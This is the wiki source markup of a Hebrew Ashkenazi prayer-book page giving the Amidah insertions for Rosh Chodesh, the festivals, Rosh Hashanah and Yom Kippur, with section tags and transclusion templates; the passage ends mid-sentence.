כְּמִצְוַת רְצוֹנֶךָ, כְּמוֹ שֶׁכָּתַבְתָּ עָלֵינוּ בְּתוֹרָתֶךָ עַל יְדֵי מֹשֶׁה עַבְדֶּךָ, מִפִּי כְבוֹדֶךָ, כָּאָמוּר: &lt;קטע סוף=ראשי חדשים/&gt;

&lt;קטע התחלה=ובראשי/&gt;וּבְרָאשֵׁי חָדְשֵׁיכֶם תַּקְרִיבוּ עֹלָה לַייָ, פָּרִים בְּנֵי בָקָר שְׁנַיִם וְאַיִל אֶחָד, כְּבָשִׂים בְּנֵי שָׁנָה שִׁבְעָה תְּמִימִם׃{{ממס|במדבר כח יא}}&lt;קטע סוף=ובראשי/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|ומנחתם}}&lt;/noinclude&gt;

&lt;קטע התחלה=חדש/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, חַדֵּשׁ עָלֵינוּ אֶת הַחֹדֶשׁ הַזֶּה לְטוֹבָה וְלִבְרָכָה, לְשָׂשׂוֹן וּלְשִׂמְחָה, לִישׁוּעָה וּלְנֶחָמָה, לְפַרְנָסָה וּלְכַלְכָּלָה, לְחַיִּים וּלְשָׁלוֹם, לִמְחִילַת חֵטְא וְלִסְלִיחַת עָוֹן {{הור1|בשנה מעוברת עד ר&quot;ח אדר ב'|וּלְכַפָּרַת פָּשַׁע}}. כִּי בְעַמְּךָ יִשְׂרָאֵל בָּחַרְתָּ מִכָּל הָאֻמּוֹת, וְחֻקֵּי רָאשֵׁי חֳדָשִׁים לָהֶם קָבָעְתָּ. בָּרוּךְ אַתָּה יְיָ, מְקַדֵּשׁ יִשְׂרָאֵל וְרָאשֵׁי חֳדָשִׁים. &lt;קטע סוף=חדש/&gt;
===מוסף שבת ראש חודש===
&lt;קטע התחלה=אתה יצרת/&gt;אַתָּה יָצַרְתָּ עוֹלָמְךָ מִקֶּדֶם, כִּלִּיתָ מְלַאכְתְּךָ בַּיּוֹם הַשְּׁבִיעִי. אָהַבְתָּ אוֹתָנוּ וְרָצִיתָ בָּנוּ, וְרוֹמַמְתָּנוּ מִכָּל הַלְּשׁוֹנוֹת, וְקִדַּשְׁתָּנוּ בְּמִצְוֹתֶיךָ, וְקֵרַבְתָּנוּ מַלְכֵּנוּ לַעֲבוֹדָתֶךָ, וְשִׁמְךָ הַגָּדוֹל וְהַקָּדוֹשׁ עָלֵינוּ קָרָאתָ. וַתִּתֶּן לָנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה, שַׁבָּתוֹת לִמְנוּחָה וְרָאשֵׁי חֳדָשִׁים לְכַפָּרָה. וּלְפִי שֶׁחָטָאנוּ לְפָנֶיךָ, אֲנַחְנוּ וַאֲבוֹתֵינוּ, חָרְבָה עִירֵנוּ, וְשָׁמֵם בֵּית מִקְדָּשֵׁנוּ, וְגָלָה יְקָרֵנוּ, וְנֻטַּל כָּבוֹד מִבֵּית חַיֵּינוּ, וְאֵין אֲנַחְנוּ יְכוֹלִים לַעֲשׂוֹת חוֹבוֹתֵינוּ בְּבֵית בְּחִירָתֶךָ, בַּבַּיִת הַגָּדוֹל וְהַקָּדוֹשׁ שֶׁנִּקְרָא שִׁמְךָ עָלָיו, מִפְּנֵי הַיָּד שֶׁנִּשְׁתַּלְּחָה בְּמִקְדָּשֶׁךָ. יְהִי רָצוֹן מִלְּפָנֶיךָ, יְיָ אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, שֶׁתַּעֲלֵנוּ בְשִׂמְחָה לְאַרְצֵנוּ, וְתִטָּעֵנוּ בִּגְבוּלֵנוּ, וְשָׁם נַעֲשֶׂה לְפָנֶיךָ אֶת קָרְבְּנוֹת חוֹבוֹתֵינוּ, תְּמִידִים כְּסִדְרָם וּמוּסָפִים כְּהִלְכָתָם. וְאֶת מוּסְפֵי יוֹם הַשַּׁבָּת הַזֶּה וְיוֹם רֹאשׁ הַחֹדֶשׁ הַזֶּה, נַעֲשֶׂה וְנַקְרִיב לְפָנֶיךָ בְּאַהֲבָה כְּמִצְוַת רְצוֹנֶךָ, כְּמוֹ שֶׁכָּתַבְתָּ עָלֵינוּ בְּתוֹרָתֶךָ עַל יְדֵי מֹשֶׁה עַבְדֶּךָ, מִפִּי כְבוֹדֶךָ, כָּאָמוּר: &lt;קטע סוף=אתה יצרת/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|וביום השבת}}

{{#קטע:סידור/נוסח אשכנז/עמידה|ובראשי}}

{{#קטע:סידור/נוסח אשכנז/עמידה|ומנחתם}}

{{#קטע:סידור/נוסח אשכנז/עמידה|ישמחו}}&lt;/noinclude&gt;

&lt;קטע התחלה=רצה וחדש/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ רְצֵה בִמְנוּחָתֵנוּ, וְחַדֵּשׁ עָלֵינוּ בְּיוֹם הַשַּׁבָּת הַזֶּה אֶת הַחֹדֶשׁ הַזֶּה, לְטוֹבָה וְלִבְרָכָה, לְשָׂשׂוֹן וּלְשִׂמְחָה, לִישׁוּעָה וּלְנֶחָמָה, לְפַרְנָסָה וּלְכַלְכָּלָה, לְחַיִּים וּלְשָׁלוֹם, לִמְחִילַת חֵטְא וְלִסְלִיחַת עָוֹן {{הור1|בשנה מעוברת עד ר&quot;ח אדר ב'|וּלְכַפָּרַת פָּשַׁע}}. כִּי בְעַמְּךָ יִשְׂרָאֵל בָּחַרְתָּ מִכָּל הָאֻמּוֹת, וְשַׁבַּת קָדְשְׁךָ לָהֶם הוֹדָעְתָּ, וְחֻקֵּי רָאשֵׁי חֳדָשִׁים לָהֶם קָבָעְתָּ. בָּרוּךְ אַתָּה יְיָ, מְקַדֵּשׁ הַשַּׁבָּת וְיִשְׂרָאֵל וְרָאשֵׁי חֳדָשִׁים. &lt;קטע סוף=רצה וחדש/&gt;
===תפילת יום טוב===
&lt;קטע התחלה=אתה בחרתנו/&gt;אַתָּה בְחַרְתָּנוּ מִכָּל הָעַמִּים, אָהַבְתָּ אוֹתָנוּ וְרָצִיתָ בָּנוּ, וְרוֹמַמְתָּנוּ מִכָּל הַלְּשׁוֹנוֹת, וְקִדַּשְׁתָּנוּ בְּמִצְוֹתֶיךָ, וְקֵרַבְתָּנוּ מַלְכֵּנוּ לַעֲבוֹדָתֶךָ, וְשִׁמְךָ הַגָּדוֹל וְהַקָּדוֹשׁ עָלֵינוּ קָרָאתָ. &lt;קטע סוף=אתה בחרתנו/&gt;

&lt;קטע התחלה=ותודיענו/&gt;{{רקע אפור}}{{הור|במוצאי שבת:}}{{ש}}וַתּוֹדִיעֵנוּ יְיָ אֱלֹהֵינוּ אֶת מִשְׁפְּטֵי צִדְקֶךָ, וַתְּלַמְּדֵנוּ לַעֲשׂוֹת בָּהֶם חֻקֵּי רְצוֹנֶךָ. וַתִּתֶּן לָנוּ יְיָ אֱלֹהֵינוּ מִשְׁפָּטִים יְשָׁרִים וְתוֹרוֹת אֱמֶת, חֻקִּים וּמִצְוֹת טוֹבִים. וַתַּנְחִילֵנוּ זְמַנֵּי שָׂשׂוֹן וּמוֹעֲדֵי קֹדֶשׁ וְחַגֵּי נְדָבָה, וַתּוֹרִישֵׁנוּ קְדֻשַּׁת שַׁבָּת וּכְבוֹד מוֹעֵד וַחֲגִיגַת הָרֶגֶל. וַתַּבְדֵּל יְיָ אֱלֹהֵינוּ בֵּין קֹדֶשׁ לְחוֹל, בֵּין אוֹר לְחֹשֶׁךְ, בֵּין יִשְׂרָאֵל לָעַמִּים, בֵּין יוֹם הַשְּׁבִיעִי לְשֵׁשֶׁת יְמֵי הַמַּעֲשֶׂה. בֵּין קְדֻשַּׁת שַׁבָּת לִקְדֻשַּׁת יוֹם טוֹב הִבְדַּלְתָּ, וְאֶת יוֹם הַשְּׁבִיעִי מִשֵּׁשֶׁת יְמֵי הַמַּעֲשֶׂה קִדַּשְׁתָּ. הִבְדַּלְתָּ וְקִדַּשְׁתָּ אֶת עַמְּךָ יִשְׂרָאֵל בִּקְדֻשָּׁתֶךָ.{{סוף}}&lt;קטע סוף=ותודיענו/&gt;
&lt;קטע התחלה=ותתן רגלים/&gt;וַתִּתֶּן לָנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה {{הור1|בשבת|שַׁבָּתוֹת לִמְנוּחָה וּ}}מוֹעֲדִים לְשִׂמְחָה חַגִּים וּזְמַנִּים לְשָׂשׂוֹן, אֶת יוֹם {{הור1|בשבת|הַשַּׁבָּת הַזֶּה וְאֶת יוֹם}}{{ש}}
{{הור|בפסח:}} חַג הַמַּצּוֹת הַזֶּה, זְמַן חֵרוּתֵנוּ{{ש}}
{{הור|בשבועות:}} חַג הַשָּׁבוּעוֹת הַזֶּה, זְמַן מַתַּן תּוֹרָתֵנוּ{{ש}}
{{הור|בסוכות:}} חַג הַסֻּכּוֹת הַזֶּה, זְמַן שִׂמְחָתֵנוּ {{ש}}
{{הור|בשמיני עצרת ושמחת תורה:}} הַשְּׁמִינִי חַג הָעֲצֶרֶת הַזֶּה, זְמַן שִׂמְחָתֵנוּ{{ש}}
{{הור1|בשבת|בְּאַהֲבָה}} מִקְרָא קֹדֶשׁ, זֵכֶר לִיצִיאַת מִצְרָיִם.&lt;קטע סוף=ותתן רגלים/&gt;

{{יעלה ויבוא אשכנז|יום=רגלים}}

&lt;קטע התחלה=והשיאנו/&gt;&lt;קטע התחלה=והשיאנו-חול/&gt;וְהַשִּׂיאֵנוּ יְיָ אֱלֹהֵינוּ אֶת בִּרְכַּת מוֹעֲדֶיךָ לְחַיִּים וּלְשָׁלוֹם, לְשִׂמְחָה וּלְשָׂשׂוֹן, כַּאֲשֶׁר רָצִיתָ וְאָמַרְתָּ לְבָרְכֵנוּ. &lt;קטע סוף=והשיאנו-חול/&gt;{{הור1|בשבת|אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ רְצֵה בִמְנוּחָתֵנוּ}} &lt;קטע התחלה=והשיאנו-חול/&gt;קַדְּשֵׁנוּ בְּמִצְוֹתֶיךָ וְתֵן חֶלְקֵנוּ בְּתוֹרָתֶךָ, שַׂבְּעֵנוּ מִטּוּבֶךָ וְשַׂמְּחֵנוּ בִּישׁוּעָתֶךָ, וְטַהֵר לִבֵּנוּ לְעָבְדְּךָ בֶּאֱמֶת. וְהַנְחִילֵנוּ יְיָ אֱלֹהֵינוּ &lt;קטע סוף=והשיאנו-חול/&gt;{{הור1|בשבת|בְּאַהֲבָה וּבְרָצוֹן}} &lt;קטע התחלה=והשיאנו-חול/&gt;בְּשִׂמְחָה וּבְשָׂשׂוֹן &lt;קטע סוף=והשיאנו-חול/&gt;{{הור1|בשבת|שַׁבָּת וּ}}&lt;קטע התחלה=והשיאנו-חול/&gt;מוֹעֲדֵי קָדְשֶׁךָ וְיִשְׂמְחוּ בְךָ יִשְׂרָאֵל מְקַדְּשֵׁי {{נוא|הוראה=נוסח ישן:|אוֹהֲבֵי}} שְׁמֶךָ. בָּרוּךְ אַתָּה יְיָ מְקַדֵּשׁ &lt;קטע סוף=והשיאנו-חול/&gt;{{הור1|בשבת|הַשַּׁבָּת וְ}}&lt;קטע התחלה=והשיאנו-חול/&gt;יִשְׂרָאֵל וְהַזְּמַנִּים.&lt;קטע סוף=והשיאנו-חול/&gt;&lt;קטע סוף=והשיאנו/&gt;
===מוסף רגלים===
&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|אתה בחרתנו}}

{{#קטע:סידור/נוסח אשכנז/עמידה|ותתן רגלים}}&lt;/noinclude&gt;

&lt;קטע התחלה=ומפני/&gt;וּמִפְּנֵי חֲטָאֵינוּ גָּלִינוּ מֵאַרְצֵנוּ, וְנִתְרַחַקְנוּ מֵעַל אַדְמָתֵנוּ, וְאֵין אֲנַחְנוּ יְכוֹלִים לַעֲלוֹת וְלֵרָאוֹת וּלְהִשְׁתַּחֲוֹת לְפָנֶיךָ, וְלַעֲשׂוֹת חוֹבוֹתֵינוּ בְּבֵית בְּחִירָתֶךָ, בַּבַּיִת הַגָּדוֹל וְהַקָּדוֹשׁ שֶׁנִּקְרָא שִׁמְךָ עָלָיו, מִפְּנֵי הַיָּד שֶׁנִּשְׁתַּלְּחָה בְּמִקְדָּשֶׁךָ. יְהִי רָצוֹן מִלְּפָנֶיךָ יְיָ אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, מֶלֶךְ רַחֲמָן, שֶׁתָּשׁוּב וּתְרַחֵם עָלֵינוּ וְעַל מִקְדָּשְׁךָ בְּרַחֲמֶיךָ הָרַבִּים, וְתִבְנֵהוּ מְהֵרָה וּתְגַדֵּל כְּבוֹדוֹ. אָבִינוּ מַלְכֵּנוּ, גַּלֵּה כְּבוֹד מַלְכוּתְךָ עָלֵינוּ מְהֵרָה, וְהוֹפַע וְהִנָּשֵׂא עָלֵינוּ לְעֵינֵי כָל חָי, וְקָרֵב פְּזוּרֵינוּ מִבֵּין הַגּוֹיִם, וּנְפוּצוֹתֵינוּ כַּנֵּס מִיַּרְכְּתֵי אָרֶץ. וַהֲבִיאֵנוּ לְצִיּוֹן עִירְךָ בְּרִנָּה, וְלִירוּשָׁלַיִם בֵּית מִקְדָּשְׁךָ בְּשִׂמְחַת עוֹלָם, וְשָׁם נַעֲשֶׂה לְפָנֶיךָ אֶת קָרְבְּנוֹת חוֹבוֹתֵינוּ, תְּמִידִים כְּסִדְרָם וּמוּסָפִים כְּהִלְכָתָם. &lt;קטע סוף=ומפני/&gt;

וְאֶת {{הור|כשחל בחול:}} מוּסַף {{הור1|בשבת|מוּסְפֵי}} יוֹם {{הור1|בשבת|הַשַּׁבָּת הַזֶּה וְיוֹם}}{{ש}}
{{הור|בפסח:}} חַג הַמַּצּוֹת {{ש}}
{{הור|בשבועות:}} חַג הַשָּׁבוּעוֹת {{ש}}
{{הור|בסוכות:}} חַג הַסֻּכּוֹת {{ש}}
{{הור|בשמיני עצרת:}} הַשְּׁמִינִי חַג הָעֲצֶרֶת {{ש}}
הַזֶּה, נַעֲשֶׂה וְנַקְרִיב לְפָנֶיךָ בְּאַהֲבָה כְּמִצְוַת רְצוֹנֶךָ, כְּמוֹ שֶׁכָּתַבְתָּ עָלֵינוּ בְּתוֹרָתֶךָ עַל יְדֵי מֹשֶׁה עַבְדֶּךָ, מִפִּי כְבוֹדֶךָ, כָּאָמוּר:{{רקע אפור}}{{הור|בשבת:}} &lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|וביום השבת}}&lt;/noinclude&gt;{{סוף}}
{{הור|ביו&quot;ט ראשון (ושני) של פסח:}} &lt;קטע התחלה=פסוקים פסח א/&gt;וּבַחֹדֶשׁ הָרִאשׁוֹן בְּאַרְבָּעָה עָשָׂר יוֹם לַחֹדֶשׁ, פֶּסַח לַייָ׃ וּבַחֲמִשָּׁה עָשָׂר יוֹם לַחֹדֶשׁ הַזֶּה חָג, שִׁבְעַת יָמִים מַצּוֹת יֵאָכֵל׃ בַּיּוֹם הָרִאשׁוֹן מִקְרָא קֹדֶשׁ, כָּל מְלֶאכֶת עֲבֹדָה לֹא תַעֲשׂוּ׃ וְהִקְרַבְתֶּם אִשֶּׁה עֹלָה לַייָ, פָּרִים בְּנֵי בָקָר שְׁנַיִם וְאַיִל אֶחָד, וְשִׁבְעָה כְבָשִׂים בְּנֵי שָׁנָה, תְּמִימִם יִהְיוּ לָכֶם׃{{ממס|במדבר כח#כח טז|במדבר כח טז-יט}} &lt;קטע סוף=פסוקים פסח א/&gt;

{{הור|בשאר ימי פסח:}} &lt;קטע התחלה=פסוקים פסח ב/&gt;וְהִקְרַבְתֶּם אִשֶּׁה עֹלָה לַייָ, פָּרִים בְּנֵי בָקָר שְׁנַיִם וְאַיִל אֶחָד, וְשִׁבְעָה כְבָשִׂים בְּנֵי שָׁנָה תְּמִימִם יִהְיוּ לָכֶם׃{{ממס|במדבר כח יט}} &lt;קטע סוף=פסוקים פסח ב/&gt;

{{הור|בשבועות:}} &lt;קטע התחלה=פסוקים שבועות/&gt;וּבְיוֹם הַבִּכּוּרִים, בְּהַקְרִיבְכֶם מִנְחָה חֲדָשָׁה לַייָ, בְּשָׁבֻעֹתֵיכֶם, מִקְרָא קֹדֶשׁ יִהְיֶה לָכֶם, כָּל מְלֶאכֶת עֲבֹדָה לֹא תַעֲשׂוּ׃ וְהִקְרַבְתֶּם עוֹלָה לְרֵיחַ נִיחֹחַ לַייָ, פָּרִים בְּנֵי בָקָר שְׁנַיִם, אַיִל אֶחָד, שִׁבְעָה כְבָשִׂים בְּנֵי שָׁנָה׃{{ממס|במדבר כח כו|במדבר כח כו-כז}} &lt;קטע סוף=פסוקים שבועות/&gt;

{{הור|ביו&quot;ט של סוכות:}} &lt;קטע התחלה=פסוקים סוכות א/&gt;וּבַחֲמִשָּׁה עָשָׂר יוֹם לַחֹדֶשׁ הַשְּׁבִיעִי מִקְרָא קֹדֶשׁ יִהְיֶה לָכֶם, כָּל מְלֶאכֶת עֲבֹדָה לֹא תַעֲשׂוּ, וְחַגֹּתֶם חַג לַייָ שִׁבְעַת יָמִים׃ וְהִקְרַבְתֶּם עֹלָה אִשֵּׁה רֵיחַ נִיחֹחַ לַייָ, פָּרִים בְּנֵי בָקָר שְׁלֹשָׁה עָשָׂר, אֵילִם שְׁנָיִם, כְּבָשִׂים בְּנֵי שָׁנָה אַרְבָּעָה עָשָׂר, תְּמִימִם יִהְיוּ׃{{ממס|במדבר כט#כט יב|במדבר כט יב-יג}} &lt;קטע סוף=פסוקים סוכות א/&gt;

&lt;קטע התחלה=פסוקים סוכות ב/&gt;{{הור|בחול המועד סוכות (בחו&quot;ל מתחילים מהפסוק של היום הקודם):}}

{{הור|בט&quot;ז בתשרי (בא&quot;י):}} וּבַיּוֹם הַשֵּׁנִי, פָּרִים בְּנֵי בָקָר שְׁנֵים עָשָׂר, אֵילִם שְׁנָיִם, כְּבָשִׂים בְּנֵי שָׁנָה אַרְבָּעָה עָשָׂר תְּמִימִם׃{{ממס|במדבר כט יז}}{{ש}}
{{הור|בי&quot;ז בתשרי:}} וּבַיּוֹם הַשְּׁלִישִׁי, פָּרִים עַשְׁתֵּי עָשָׂר, אֵילִם שְׁנָיִם, כְּבָשִׂים בְּנֵי שָׁנָה אַרְבָּעָה עָשָׂר תְּמִימִם׃{{ממס|במדבר כט כ}}{{ש}}
{{הור|בי&quot;ח בתשרי:}} וּבַיּוֹם הָרְבִיעִי, פָּרִים עֲשָׂרָה, אֵילִם שְׁנָיִם, כְּבָשִׂים בְּנֵי שָׁנָה אַרְבָּעָה עָשָׂר תְּמִימִם׃{{ממס|במדבר כט כג}}{{ש}}
{{הור|בי&quot;ט בתשרי:}} וּבַיּוֹם הַחֲמִישִׁי, פָּרִים תִּשְׁעָה, אֵילִם שְׁנָיִם, כְּבָשִׂים בְּנֵי שָׁנָה אַרְבָּעָה עָשָׂר תְּמִימִם׃{{ממס|במדבר כט כו}}{{ש}}
{{הור|בכ' בתשרי:}} וּבַיּוֹם הַשִּׁשִּׁי, פָּרִים שְׁמֹנָה, אֵילִם שְׁנָיִם, כְּבָשִׂים בְּנֵי שָׁנָה אַרְבָּעָה עָשָׂר תְּמִימִם׃{{ממס|במדבר כט כט}}{{ש}}
{{הור|בהושענא רבה:}} &lt;קטע התחלה=פסוקים הו&quot;ר/&gt;וּבַיּוֹם הַשְּׁבִיעִי, פָּרִים שִׁבְעָה, אֵילִם שְׁנָיִם, כְּבָשִׂים בְּנֵי שָׁנָה אַרְבָּעָה עָשָׂר תְּמִימִם׃{{ממס|במדבר כט לב}} &lt;קטע סוף=פסוקים הו&quot;ר/&gt;&lt;קטע סוף=פסוקים סוכות ב/&gt;{{ש}}
{{הור|בשמיני עצרת ושמחת תורה:}} &lt;קטע התחלה=פסוקים שמיני עצרת/&gt;בַּיּוֹם הַשְּׁמִינִי עֲצֶרֶת תִּהְיֶה לָכֶם, כָּל מְלֶאכֶת עֲבֹדָה לֹא תַעֲשׂוּ׃ וְהִקְרַבְתֶּם עֹלָה אִשֵּׁה רֵיחַ נִיחֹחַ לַייָ, פַּר אֶחָד, אַיִל אֶחָד, כְּבָשִׂים בְּנֵי שָׁנָה שִׁבְעָה תְּמִימִם׃{{ממס|במדבר כט#כט לה|במדבר כט לה-לו}} &lt;קטע סוף=פסוקים שמיני עצרת/&gt;

{{הור|בכל הימים:}} &lt;קטע התחלה=ומנחתם/&gt;וּמִנְחָתָם וְנִסְכֵּיהֶם כִּמְדֻבָּר: שְׁלֹשָׁה עֶשְׂרֹנִים לַפָּר, וּשְׁנֵי עֶשְׂרֹנִים לָאָיִל, וְעִשָּׂרוֹן לַכֶּבֶשׂ, וְיַיִן כְּנִסְכּוֹ, וְשָׂעִיר לְכַפֵּר, וּשְׁנֵי תְמִידִים כְּהִלְכָתָם. &lt;קטע סוף=ומנחתם/&gt;
{{רקע אפור}}{{הור|בשבת:}} &lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|ישמחו}}&lt;/noinclude&gt;{{סוף}}
&lt;קטע התחלה=מלך רחמן/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, מֶלֶךְ רַחֲמָן רַחֵם עָלֵינוּ, טוֹב וּמֵטִיב הִדָּרֶשׁ לָנוּ. שׁוּבָה אֵלֵינוּ בַּהֲמוֹן רַחֲמֶיךָ, בִּגְלַל אָבוֹת שֶׁעָשׂוּ רְצוֹנֶךָ. בְּנֵה בֵיתְךָ כְּבַתְּחִלָּה, וְכוֹנֵן מִקְדָּשְׁךָ עַל מְכוֹנוֹ, וְהַרְאֵנוּ בְּבִנְיָנוֹ, וְשַׂמְּחֵנוּ בְּתִקּוּנוֹ. וְהָשֵׁב כֹּהֲנִים לַעֲבוֹדָתָם, וּלְוִיִּם לְשִׁירָם וּלְזִמְרָם, וְהָשֵׁב יִשְׂרָאֵל לִנְוֵיהֶם. וְשָׁם נַעֲלֶה וְנֵרָאֶה וְנִשְׁתַּחֲוֶה לְפָנֶיךָ בְּשָׁלֹשׁ פַּעֲמֵי רְגָלֵינוּ, כַּכָּתוּב בְּתוֹרָתֶךָ: שָׁלוֹשׁ פְּעָמִים בַּשָּׁנָה יֵרָאֶה כָל זְכוּרְךָ אֶת פְּנֵי יְיָ אֱלֹהֶיךָ בַּמָּקוֹם אֲשֶׁר יִבְחָר, בְּחַג הַמַּצּוֹת וּבְחַג הַשָּׁבֻעוֹת וּבְחַג הַסֻּכּוֹת, וְלֹא יֵרָאֶה אֶת פְּנֵי יְיָ רֵיקָם׃ אִישׁ כְּמַתְּנַת יָדוֹ, כְּבִרְכַּת יְיָ אֱלֹהֶיךָ אֲשֶׁר נָתַן לָךְ׃{{ממס|דברים טז#טז טז|דברים טז טז-יז}}&lt;קטע סוף=מלך רחמן/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|והשיאנו}}&lt;/noinclude&gt;

===תפילת ראש השנה===
&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|אתה בחרתנו|ותודיענו}}&lt;/noinclude&gt;

וַתִּתֶּן לָנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה אֶת יוֹם {{הור1|בשבת|הַשַּׁבָּת הַזֶּה וְאֶת יוֹם}} הַזִּכָּרוֹן הַזֶּה, {{הור|בחול:}} יוֹם תְּרוּעָה, {{הור1|בשבת|זִכְרוֹן תְּרוּעָה, בְּאַהֲבָה,}} מִקְרָא קֹדֶשׁ זֵכֶר לִיצִיאַת מִצְרָיִם.

{{יעלה ויבוא אשכנז|יום=ראש השנה}}

&lt;קטע התחלה=מלוך/&gt;&lt;קטע התחלה=מלוך-חול/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, מְלֹךְ עַל כָּל הָעוֹלָם כֻּלּוֹ בִּכְבוֹדֶךָ, וְהִנָּשֵׂא עַל כָּל הָאָרֶץ בִּיקָרֶךָ, וְהוֹפַע בַּהֲדַר גְּאוֹן עֻזֶּךָ עַל כָּל יוֹשְׁבֵי תֵבֵל אַרְצֶךָ, וְיֵדַע כָּל פָּעוּל כִּי אַתָּה פְעַלְתּוֹ, וְיָבִין כָּל יְצוּר כִּי אַתָּה יְצַרְתּוֹ, וְיֹאמַר כֹּל אֲשֶׁר נְשָׁמָה בְאַפּוֹ, יְיָ אֱלֹהֵי יִשְׂרָאֵל מֶלֶךְ, וּמַלְכוּתוֹ בַּכֹּל מָשָׁלָה. &lt;קטע סוף=מלוך-חול/&gt;{{הור1|בשבת|אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, רְצֵה בִמְנוּחָתֵנוּ,}} &lt;קטע התחלה=מלוך-חול/&gt;קַדְּשֵׁנוּ בְּמִצְוֹתֶיךָ וְתֵן חֶלְקֵנוּ בְּתוֹרָתֶךָ, שַׂבְּעֵנוּ מִטּוּבֶךָ וְשַׂמְּחֵנוּ בִּישׁוּעָתֶךָ, &lt;קטע סוף=מלוך-חול/&gt;{{הור1|בשבת|וְהַנְחִילֵנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה וּבְרָצוֹן שַׁבַּת קָדְשֶׁךָ, וְיָנוּחוּ בוֹ כָּל יִשְׂרָאֵל מְקַדְּשֵׁי שְׁמֶךָ,}} &lt;קטע התחלה=מלוך-חול/&gt;וְטַהֵר לִבֵּנוּ לְעָבְדְּךָ בֶּאֱמֶת. כִּי אַתָּה אֱלֹהִים אֱמֶת, וּדְבָרְךָ אֱמֶת וְקַיָּם לָעַד. בָּרוּךְ אַתָּה יְיָ, מֶלֶךְ עַל כָּל הָאָרֶץ, מְקַדֵּשׁ &lt;קטע סוף=מלוך-חול/&gt;{{הור1|בשבת|הַשַּׁבָּת וְ}}&lt;קטע התחלה=מלוך-חול/&gt;יִשְׂרָאֵל וְיוֹם הַזִּכָּרוֹן.&lt;קטע סוף=מלוך-חול/&gt;&lt;קטע סוף=מלוך/&gt;

===תפילת יום כיפור===
&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|אתה בחרתנו}}&lt;/noinclude&gt;

&lt;קטע התחלה=ותתן-יו&quot;כ/&gt;וַתִּתֶּן לָנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה אֶת יוֹם {{הור1|בשבת|הַשַּׁבָּת הַזֶּה לִקְדֻשָּׁה וְלִמְנוּחָה וְאֶת יוֹם}} הַכִּפֻּרִים הַזֶּה, לִמְחִילָה וְלִסְלִיחָה וּלְכַפָּרָה וְלִמְחָל בּוֹ אֶת כָּל עֲוֹנוֹתֵינוּ, {{הור1|בשבת|בְּאַהֲבָה}} מִקְרָא קֹדֶשׁ זֵכֶר לִיצִיאַת מִצְרָיִם.&lt;קטע סוף=ותתן-יו&quot;כ/&gt;

{{יעלה ויבוא אשכנז|יום=כיפור}}

&lt;קטע התחלה=מחול/&gt;&lt;קטע התחלה=מחול1/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, מְחֹל לַעֲוֹנוֹתֵינוּ בְּיוֹם {{הור1|בשבת|הַשַּׁבָּת הַזֶּה וּבְיוֹם}} הַכִּפֻּרִים הַזֶּה. מְחֵה וְהַעֲבֵר פְּשָׁעֵינוּ וְחַטֹּאתֵינוּ מִנֶּגֶד עֵינֶיךָ. כָּאָמוּר: אָנֹכִי אָנֹכִי הוּא מֹחֶה פְשָׁעֶיךָ לְמַעֲנִי וְחַטֹּאתֶיךָ לֹא אֶזְכֹּר׃{{ממס|ישעיהו מג כה}} וְנֶאֱמַר: מָחִיתִי כָעָב פְּשָׁעֶיךָ וְכֶעָנָן חַטֹּאותֶיךָ שׁוּבָה אֵלַי כִּי גְאַלְתִּיךָ׃{{ממס|ישעיהו מד כב}} וְנֶאֱמַר: כִּי בַיּוֹם הַזֶּה יְכַפֵּר עֲלֵיכֶם לְטַהֵר אֶתְכֶם מִכֹּל חַטֹּאתֵיכֶם לִפְנֵי יְיָ תִּטְהָרוּ׃{{ממס|ויקרא טז ל}} {{הור1|בשבת|אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, רְצֵה בִמְנוּחָתֵנוּ,}} קַדְּשֵׁנוּ בְּמִצְוֹתֶיךָ וְתֵן חֶלְקֵנוּ בְּתוֹרָתֶךָ, שַׂבְּעֵנוּ מִטּוּבֶךָ וְשַׂמְּחֵנוּ בִּישׁוּעָתֶךָ, &lt;קטע סוף=מחול1/&gt;{{הור1|בשבת|וְהַנְחִילֵנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה וּבְרָצוֹן שַׁבַּת קָדְשֶׁךָ, וְיָנוּחוּ בָהּ / בוֹ / בָם יִשְׂרָאֵל מְקַדְּשֵׁי שְׁמֶךָ,}} &lt;קטע התחלה=מחול2/&gt;וְטַהֵר לִבֵּנוּ לְעָבְדְּךָ בֶּאֱמֶת. כִּי אַתָּה סָלְחָן לְיִשְׂרָאֵל וּמָחֳלָן לְשִׁבְטֵי יְשֻׁרוּן בְּכָל דּוֹר וָדוֹר, וּמִבַּלְעָדֶיךָ אֵין לָנוּ מֶלֶךְ מוֹחֵל וְסוֹלֵחַ אֶלָּא אָתָּה. בָּרוּךְ אַתָּה יְיָ, מֶלֶךְ מוֹחֵל וְסוֹלֵחַ לַעֲוֹנוֹתֵינוּ וְלַעֲוֹנוֹת עַמּוֹ בֵּית יִשְׂרָאֵל וּמַעֲבִיר אַשְׁמוֹתֵינוּ בְּכָל שָׁנָה וְשָׁנָה, מֶלֶךְ עַל כָּל הָאָרֶץ, מְקַדֵּשׁ {{הור1|בשבת|הַשַּׁבָּת 